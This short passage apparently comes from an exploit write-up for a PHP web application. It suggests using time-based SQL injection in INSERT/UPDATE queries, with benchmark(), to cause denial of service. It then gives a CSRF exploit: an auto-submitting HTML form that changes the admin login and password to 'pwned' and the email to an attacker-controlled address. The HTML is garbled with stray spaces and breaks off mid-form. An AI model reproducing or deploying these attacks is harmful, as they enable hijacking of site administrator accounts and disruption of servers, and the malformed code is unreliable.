Here is how it looks:
(I prefer timebased way because simply extracting and then inserting hash to table is not usefull anymore. Only admin can see it from admin panel ).

Also this type of SQL injections (INSERT/UPDATE) is usefull to create Denial of Service conditions against target site/server.
If so simply benchmark () is your best friend.
The second defect is: CSRF
Simple exploit to change admin username/password/email:
Login/password will be change to pwned and email to: admin@toattacker.tld
<Body onload = "javascript: document. forms [0]. submit ()">
<Form action = "http: // www.2cto.com/phpweb/admin/options. php? R = admin "method =" post ">
